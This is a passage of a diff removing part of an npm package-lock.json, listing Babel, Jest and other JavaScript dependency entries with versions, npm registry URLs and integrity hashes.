-      "version": "10.1.0",
-      "resolved": "https://registry.npmjs.org/babel-eslint/-/babel-eslint-10.1.0.tgz",
-      "integrity": "sha512-ifWaTHQ0ce+448CYop8AdrQiBsGrnC+bMgfyKFdi6EsPLTAWG+QfyDeM6OH+FmWnKvEq5NnBMLvlBUPKQZoDSg==",
-      "requires": {
-        "@babel/code-frame": "^7.0.0",
-        "@babel/parser": "^7.7.0",
-        "@babel/traverse": "^7.7.0",
-        "@babel/types": "^7.7.0",
-        "eslint-visitor-keys": "^1.0.0",
-        "resolve": "^1.12.0"
-      }
-    },
-    "babel-extract-comments": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/babel-extract-comments/-/babel-extract-comments-1.0.0.tgz",
-      "integrity": "sha512-qWWzi4TlddohA91bFwgt6zO/J0X+io7Qp184Fw0m2JYRSTZnJbFR8+07KmzudHCZgOiKRCrjhylwv9Xd8gfhVQ==",
-      "requires": {
-        "babylon": "^6.18.0"
-      }
-    },
-    "babel-jest": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-24.9.0.tgz",
-      "integrity": "sha512-ntuddfyiN+EhMw58PTNL1ph4C9rECiQXjI4nMMBKBaNjXvqLdkXpPRcMSr4iyBrJg/+wz9brFUD6RhOAT6r4Iw==",
-      "requires": {
-        "@jest/transform": "^24.9.0",
-        "@jest/types": "^24.9.0",
-        "@types/babel__core": "^7.1.0",
-        "babel-plugin-istanbul": "^5.1.0",
-        "babel-preset-jest": "^24.9.0",
-        "chalk": "^2.4.2",
-        "slash": "^2.0.0"
-      }
-    },
-    "babel-loader": {
-      "version": "8.1.0",
-      "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.1.0.tgz",
-      "integrity": "sha512-7q7nC1tYOrqvUrN3LQK4GwSk/TQorZSOlO9C+RZDZpODgyN4ZlCqE5q9cDsyWOliN+aU9B4JX01xK9eJXowJLw==",
-      "requires": {
-        "find-cache-dir": "^2.1.0",
-        "loader-utils": "^1.4.0",
-        "mkdirp": "^0.5.3",
-        "pify": "^4.0.1",
-        "schema-utils": "^2.6.5"
-      },
-      "dependencies": {
-        "pify": {
-          "version": "4.0.1",
-          "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
-          "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g=="
-        }
-      }
-    },
-    "babel-plugin-dynamic-import-node": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.0.tgz",
-      "integrity": "sha512-o6qFkpeQEBxcqt0XYlWzAVxNCSCZdUgcR8IRlhD/8DylxjjO4foPcvTW0GGKa/cVt3rvxZ7o5ippJ+/0nvLhlQ==",
-      "requires": {
-        "object.assign": "^4.1.0"
-      }
-    },
-    "babel-plugin-istanbul": {
-      "version": "5.2.0",
-      "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-5.2.0.tgz",
-      "integrity": "sha512-5LphC0USA8t4i1zCtjbbNb6jJj/9+X6P37Qfirc/70EQ34xKlMW+a1RHGwxGI+SwWpNwZ27HqvzAobeqaXwiZw==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.0.0",
-        "find-up": "^3.0.0",
-        "istanbul-lib-instrument": "^3.3.0",
-        "test-exclude": "^5.2.3"
-      },
-      "dependencies": {
-        "find-up": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
-          "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
-          "requires": {
-            "locate-path": "^3.0.0"
-          }
-        },
-        "locate-path": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
-          "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
-          "requires": {
-            "p-locate": "^3.0.0",
-            "path-exists": "^3.0.0"
-          }
-        },
-        "p-limit": {
-          "version": "2.3.0",
-          "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
-          "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
-          "requires": {
-            "p-try": "^2.0.0"
-          }
-        },
-        "p-locate": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
-          "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
-          "requires": {
-            "p-limit": "^2.0.0"
-          }
-        },
-        "p-try": {
-          "version": "2.2.0",
-          "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
-          "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ=="
-        }
-      }
-    },
-    "babel-plugin-jest-hoist": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-24.9.0.tgz",
-      "integrity": "sha512-2EMA2P8Vp7lG0RAzr4HXqtYwacfMErOuv1U3wrvxHX6rD1sV6xS3WXG3r8TRQ2r6w8OhvSdWt+z41hQNwNm3Xw==",
-      "requires": {
-        "@types/babel__traverse": "^7.0.6"
-      }
-    },
-    "babel-plugin-macros": {
-      "version": "2.8.0",
-      "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-2.8.0.tgz",
-      "integrity": "sha512-SEP5kJpfGYqYKpBrj5XU3ahw5p5GOHJ0U5ssOSQ/WBVdwkD2Dzlce95exQTs3jOVWPPKLBN2rlEWkCK7dSmLvg==",
-      "requires": {
-        "@babel/runtime": "^7.7.2",
-        "cosmiconfig": "^6.0.0",
-        "resolve": "^1.12.0"
-      },
-      "dependencies": {
-        "cosmiconfig": {
-          "version": "6.0.0",
-          "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-6.0.0.tgz",
-          "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==",
-          "requires": {
-            "@types/parse-json": "^4.0.0",
-            "import-fresh": "^3.1.0",
-            "parse-json": "^5.0.0",
-            "path-type": "^4.0.0",
-            "yaml": "^1.7.2"
-          }
-        },
-        "import-fresh": {
-          "version": "3.2.1",
-          "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.2.1.tgz",
-          "integrity": "sha512-6e1q1cnWP2RXD9/keSkxHScg508CdXqXWgWBaETNhyuBFz+kUZlKboh+ISK+bU++DmbHimVBrOz/zzPe0sZ3sQ==",
-          "requires": {
-            "parent-module": "^1.0.0",
-            "resolve-from": "^4.0.0"
-          }
-        },
-        "parse-json": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.0.0.tgz",
-          "integrity": "sha512-OOY5b7PAEFV0E2Fir1KOkxchnZNCdowAJgQ5NuxjpBKTRP3pQhwkrkxqQjeoKJ+fO7bCpmIZaogI4eZGDMEGOw==",
-          "requires": {
-            "@babel/code-frame": "^7.0.0",
-            "error-ex": "^1.3.1",
-            "json-parse-better-errors": "^1.0.1",
-            "lines-and-columns": "^1.1.6"
-          }
-        },
-        "path-type": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz",
-          "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw=="
-        },
-        "resolve-from": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
-          "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g=="
-        }
-      }
-    },
-    "babel-plugin-named-asset-import": {
-      "version": "0.3.6",
-      "resolved": "https://registry.npmjs.org/babel-plugin-named-asset-import/-/babel-plugin-named-asset-import-0.3.6.tgz",
-      "integrity": "sha512-1aGDUfL1qOOIoqk9QKGIo2lANk+C7ko/fqH0uIyC71x3PEGz0uVP8ISgfEsFuG+FKmjHTvFK/nNM8dowpmUxLA=="
-    },
-    "babel-plugin-syntax-object-rest-spread": {
-      "version": "6.13.0",
-      "resolved": "https://registry.npmjs.org/babel-plugin-syntax-object-rest-spread/-/babel-plugin-syntax-object-rest-spread-6.13.0.tgz",
-      "integrity": "sha1-/WU28rzhODb/o6VFjEkDpZe7O/U="
-    },
-    "babel-plugin-transform-object-rest-spread": {
-      "version": "6.26.0",
-      "resolved": "https://registry.npmjs.org/babel-plugin-transform-object-rest-spread/-/babel-plugin-transform-object-rest-spread-6.26.0.tgz",
-      "integrity": "sha1-DzZpLVD+9rfi1LOsFHgTepY7ewY=",
-      "requires": {
-        "babel-plugin-syntax-object-rest-spread": "^6.8.0",
-        "babel-runtime": "^6.26.0"
-      }
-    },
-    "babel-plugin-transform-react-remove-prop-types": {
-      "version": "0.4.24",
-      "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz",
-      "integrity": "sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA=="
-    },
-    "babel-preset-jest": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-24.9.0.tgz",
-      "integrity": "sha512-izTUuhE4TMfTRPF92fFwD2QfdXaZW08qvWTFCI51V8rW5x00UuPgc3ajRoWofXOuxjfcOM5zzSYsQS3H8KGCAg==",
-      "requires": {
-        "@babel/plugin-syntax-object-rest-spread": "^7.0.0",
-        "babel-plugin-jest-hoist": "^24.9.0"
-      }
-    },
-    "babel-preset-react-app": {
-      "version": "9.1.2",
-      "resolved": "https://registry.npmjs.org/babel-preset-react-app/-/babel-preset-react-app-9.1.2.tgz",
-      "integrity": "sha512-k58RtQOKH21NyKtzptoAvtAODuAJJs3ZhqBMl456/GnXEQ/0La92pNmwgWoMn5pBTrsvk3YYXdY7zpY4e3UIxA==",
-      "requires": {
-        "@babel/core": "7.9.0",
-        "@babel/plugin-proposal-class-properties": "7.8.3",
-        "@babel/plugin-proposal-decorators": "7.8.3",
-        "@babel/plugin-proposal-nullish-coalescing-operator": "7.8.3",
-        "@babel/plugin-proposal-numeric-separator": "7.8.3",
-        "@babel/plugin-proposal-optional-chaining": "7.9.0",
-        "@babel/plugin-transform-flow-strip-types": "7.9.0",
-        "@babel/plugin-transform-react-display-name": "7.8.3",
-        "@babel/plugin-transform-runtime": "7.9.0",
-        "@babel/preset-env": "7.9.0",
-        "@babel/preset-react": "7.9.1",
-        "@babel/preset-typescript": "7.9.0",
-        "@babel/runtime": "7.9.0",
-        "babel-plugin-macros": "2.8.0",
-        "babel-plugin-transform-react-remove-prop-types": "0.4.24"
-      },
-      "dependencies": {
-        "@babel/preset-env": {
-          "version": "7.9.0",
-          "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.9.0.tgz",
-          "integrity": "sha512-712DeRXT6dyKAM/FMbQTV/FvRCms2hPCx+3weRjZ8iQVQWZejWWk1wwG6ViWMyqb/ouBbGOl5b6aCk0+j1NmsQ==",
-          "requires": {
-            "@babel/compat-data": "^7.9.0",
-            "@babel/helper-compilation-targets": "^7.8.7",
-            "@babel/helper-module-imports": "^7.8.3",
-            "@babel/helper-plugin-utils": "^7.8.3",
-            "@babel/plugin-proposal-async-generator-functions": "^7.8.3",
-            "@babel/plugin-proposal-dynamic-import": "^7.8.3",
-            "@babel/plugin-proposal-json-strings": "^7.8.3",
-            "@babel/plugin-proposal-nullish-coalescing-operator": "^7.8.3",
-            "@babel/plugin-proposal-numeric-separator": "^7.8.3",
-            "@babel/plugin-proposal-object-rest-spread": "^7.9.0",
-            "@babel/plugin-proposal-optional-catch-binding": "^7.8.3",
-            "@babel/plugin-proposal-optional-chaining": "^7.9.0",
-            "@babel/plugin-proposal-unicode-property-regex": "^7.8.3",
-            "@babel/plugin-syntax-async-generators": "^7.8.0",
-            "@babel/plugin-syntax-dynamic-import": "^7.8.0",
-            "@babel/plugin-syntax-json-strings": "^7.8.0",
-            "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0",
-            "@babel/plugin-syntax-numeric-separator": "^7.8.0",
-            "@babel/plugin-syntax-object-rest-spread": "^7.8.0",
-            "@babel/plugin-syntax-optional-catch-binding": "^7.8.0",
-            "@babel/plugin-syntax-optional-chaining": "^7.8.0",
-            "@babel/plugin-syntax-top-level-await": "^7.8.3",
-            "@babel/plugin-transform-arrow-functions": "^7.8.3",
-            "@babel/plugin-transform-async-to-generator": "^7.8.3",
-            "@babel/plugin-transform-block-scoped-functions": "^7.8.3",
-            "@babel/plugin-transform-block-scoping": "^7.8.3",
-            "@babel/plugin-transform-classes": "^7.9.0",
-            "@babel/plugin-transform-computed-properties": "^7.8.3",
-            "@babel/plugin-transform-destructuring": "^7.8.3",
-            "@babel/plugin-transform-dotall-regex": "^7.8.3",
-            "@babel/plugin-transform-duplicate-keys": "^7.8.3",
-            "@babel/plugin-transform-exponentiation-operator": "^7.8.3",
-            "@babel/plugin-transform-for-of": "^7.9.0",
-            "@babel/plugin-transform-function-name": "^7.8.3",
-            "@babel/plugin-transform-literals": "^7.8.3",
-            "@babel/plugin-transform-member-expression-literals": "^7.8.3",
-            "@babel/plugin-transform-modules-amd": "^7.9.0",
-            "@babel/plugin-transform-modules-commonjs": "^7.9.0",
-            "@babel/plugin-transform-modules-systemjs": "^7.9.0",
-            "@babel/plugin-transform-modules-umd": "^7.9.0",
-            "@babel/plugin-transform-named-capturing-groups-regex": "^7.8.3",
-            "@babel/plugin-transform-new-target": "^7.8.3",
-            "@babel/plugin-transform-object-super": "^7.8.3",
-            "@babel/plugin-transform-parameters": "^7.8.7",
-            "@babel/plugin-transform-property-literals": "^7.8.3",
-            "@babel/plugin-transform-regenerator": "^7.8.7",
-            "@babel/plugin-transform-reserved-words": "^7.8.3",
-            "@babel/plugin-transform-shorthand-properties": "^7.8.3",
-            "@babel/plugin-transform-spread": "^7.8.3",
-            "@babel/plugin-transform-sticky-regex": "^7.8.3",
-            "@babel/plugin-transform-template-literals": "^7.8.3",
-            "@babel/plugin-transform-typeof-symbol": "^7.8.4",
-            "@babel/plugin-transform-unicode-regex": "^7.8.3",
-            "@babel/preset-modules": "^0.1.3",
-            "@babel/types": "^7.9.0",
-            "browserslist": "^4.9.1",
-            "core-js-compat": "^3.6.2",
-            "invariant": "^2.2.2",
-            "levenary": "^1.1.1",
-            "semver": "^5.5.0"
-          }
-        },
-        "@babel/preset-react": {
-          "version": "7.9.1",
-          "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.9.1.tgz",
-          "integrity": "sha512-aJBYF23MPj0RNdp/4bHnAP0NVqqZRr9kl0NAOP4nJCex6OYVio59+dnQzsAWFuogdLyeaKA1hmfUIVZkY5J+TQ==",
-          "requires": {
-            "@babel/helper-plugin-utils": "^7.8.3",
-            "@babel/plugin-transform-react-display-name": "^7.8.3",
-            "@babel/plugin-transform-react-jsx": "^7.9.1",
-            "@babel/plugin-transform-react-jsx-development": "^7.9.0",
-            "@babel/plugin-transform-react-jsx-self": "^7.9.0",
-            "@babel/plugin-transform-react-jsx-source": "^7.9.0"
-          }
-        },
-        "@babel/runtime": {
-          "version": "7.9.0",
-          "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.9.0.tgz",
-          "integrity": "sha512-cTIudHnzuWLS56ik4DnRnqqNf8MkdUzV4iFFI1h7Jo9xvrpQROYaAnaSd2mHLQAzzZAPfATynX5ord6YlNYNMA==",
-          "requires": {
-            "regenerator-runtime": "^0.13.4"
-          }
-        },
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
-          "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
-        }
-      }
-    },
-    "babel-runtime": {
-      "version": "6.26.0",
-      "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz",
-      "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=",
-      "requires": {
-        "core-js": "^2.4.0",
-        "regenerator-runtime": "^0.11.0"
-      },
-      "dependencies": {
-        "core-js": {
-          "version": "2.6.11",
-          "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.11.tgz",
-          "integrity": "sha512-5wjnpaT/3dV+XB4borEsnAYQchn00XSgTAWKDkEqv+K8KevjbzmofK6hfJ9TZIlpj2N0xQpazy7PiRQiWHqzWg=="
-        },
-        "regenerator-runtime": {
-          "version": "0.11.1",
-          "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz",
-          "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg=="
-        }
-      }
-    },
-    "babylon": {
-      "version": "6.18.0",
-      "resolved": "https://registry.npmjs.org/babylon/-/babylon-6.18.0.tgz",
-      "integrity": "sha512-q/UEjfGJ2Cm3oKV71DJz9d25TPnq5rhBVL2Q4fA5wcC3jcrdn7+SssEybFIxwAvvP+YCsCYNKughoF33GxgycQ=="
-    },
-    "balanced-match": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz",
-      "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c="
-    },
-    "base": {
-      "version": "0.11.2",
-      "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz",
-      "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==",
-      "requires": {
-        "cache-base": "^1.0.1",
-        "class-utils": "^0.3.5",
-        "component-emitter": "^1.2.1",
-        "define-property": "^1.0.0",
-        "isobject": "^3.0.1",
-        "mixin-deep": "^1.2.0",
-        "pascalcase": "^0.1.1"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
-          "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
-          "requires": {
-            "is-descriptor": "^1.0.0"
-          }
-        },
-        "is-accessor-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
-          "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-data-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
-          "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-descriptor": {
-          "version": "1.0.2",
-          "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
-          "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
-          "requires": {
-            "is-accessor-descriptor": "^1.0.0",
-            "is-data-descriptor": "^1.0.0",
-            "kind-of": "^6.0.2"
-          }
-        },
-        "kind-of": {
-          "version": "6.0.3",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
-          "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
-        }
-      }
-    },
-    "base64-js": {
-      "version": "1.3.1",
-      "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.3.1.tgz",
-      "integrity": "sha512-mLQ4i2QO1ytvGWFWmcngKO//JXAQueZvwEKtjgQFM4jIK0kU+ytMfplL8j+n5mspOfjHwoAg+9yhb7BwAHm36g=="
-    },
-    "batch": {
-      "version": "0.6.1",
-      "resolved": "https://registry.npmjs.org/batch/-/batch-0.6.1.tgz",
-      "integrity": "sha1-3DQxT05nkxgJP8dgJyUl+UvyXBY="
-    },
-    "bcrypt-pbkdf": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz",
-      "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=",
-      "requires": {
-        "tweetnacl": "^0.14.3"
-      }
-    },
-    "big.js": {
-      "version": "5.2.2",
-      "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
-      "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ=="
-    },
-    "binary-extensions": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.0.0.tgz",
-      "integrity": "sha512-Phlt0plgpIIBOGTT/ehfFnbNlfsDEiqmzE2KRXoX1bLIlir4X/MR+zSyBEkL05ffWgnRSf/DXv+WrUAVr93/ow=="
-    },
-    "bindings": {
-      "version": "1.5.0",
-      "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz",
-      "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==",
-      "optional": true,
-      "requires": {
-        "file-uri-to-path": "1.0.0"
-      }
-    },
-    "bluebird": {
-      "version": "3.7.2",
-      "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz",
-      "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg=="
-    },
-    "bn.js": {
-      "version": "4.11.8",
-      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz",
-      "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA=="
-    },
-    "body-parser": {
-      "version": "1.19.0",
-      "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz",
-      "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==",
-      "requires": {
-        "bytes": "3.1.0",
-        "content-type": "~1.0.4",
-        "debug": "2.6.9",
-        "depd": "~1.1.2",
-        "http-errors": "1.7.2",
-        "iconv-lite": "0.4.24",
-        "on-finished": "~2.3.0",
-        "qs": "6.7.0",
-        "raw-body": "2.4.0",
-        "type-is": "~1.6.17"
-      },
-      "dependencies": {
-        "bytes": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz",
-          "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg=="
-        },
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
-          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        },
-        "qs": {
-          "version": "6.7.0",
-          "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz",
-          "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ=="
-        }
-      }
-    },
-    "bonjour": {
-      "version": "3.5.0",
-      "resolved": "https://registry.npmjs.org/bonjour/-/bonjour-3.5.0.tgz",
-      "integrity": "sha1-jokKGD2O6aI5OzhExpGkK897yfU=",
-      "requires": {
-        "array-flatten": "^2.1.0",
-        "deep-equal": "^1.0.1",
-        "dns-equal": "^1.0.0",
-        "dns-txt": "^2.0.2",
-        "multicast-dns": "^6.0.1",
-        "multicast-dns-service-types": "^1.1.0"
-      }
-    },
-    "boolbase": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz",
-      "integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24="
-    },
-    "bootstrap": {
-      "version": "4.4.1",
-      "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.4.1.tgz",
-      "integrity": "sha512-tbx5cHubwE6e2ZG7nqM3g/FZ5PQEDMWmMGNrCUBVRPHXTJaH7CBDdsLeu3eCh3B1tzAxTnAbtmrzvWEvT2NNEA=="
-    },
-    "brace-expansion": {
-      "version": "1.1.11",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
-      "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
-      "requires": {
-        "balanced-match": "^1.0.0",
-        "concat-map": "0.0.1"
-      }
-    },
-    "braces": {
-      "version": "2.3.2",
-      "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz",
-      "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
-      "requires": {
-        "arr-flatten": "^1.1.0",
-        "array-unique": "^0.3.2",
-        "extend-shallow": "^2.0.1",
-        "fill-range": "^4.0.0",
-        "isobject": "^3.0.1",
-        "repeat-element": "^1.1.2",
-        "snapdragon": "^0.8.1",
-        "snapdragon-node": "^2.0.1",
-        "split-string": "^3.0.2",
-        "to-regex": "^3.0.1"
-      },
-      "dependencies": {
-        "extend-shallow": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
-          "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-          "requires": {
-            "is-extendable": "^0.1.0"
-          }
-        }
-      }
-    },
-    "brorand": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz",
-      "integrity": "sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8="
-    },
-    "browser-process-hrtime": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz",
-      "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow=="
-    },
-    "browser-resolve": {
-      "version": "1.11.3",
-      "resolved": "https://registry.npmjs.org/browser-resolve/-/browser-resolve-1.11.3.tgz",
-      "integrity": "sha512-exDi1BYWB/6raKHmDTCicQfTkqwN5fioMFV4j8BsfMU4R2DK/QfZfK7kOVkmWCNANf0snkBzqGqAJBao9gZMdQ==",
-      "requires": {
-        "resolve": "1.1.7"
-      },
-      "dependencies": {
-        "resolve": {
-          "version": "1.1.7",
-          "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.1.7.tgz",
-          "integrity": "sha1-IDEU2CrSxe2ejgQRs5ModeiJ6Xs="
-        }
-      }
-    },
-    "browserify-aes": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/browserify-aes/-/browserify-aes-1.2.0.tgz",
-      "integrity": "sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==",
-      "requires": {
-        "buffer-xor": "^1.0.3",
-        "cipher-base": "^1.0.0",
-        "create-hash": "^1.1.0",
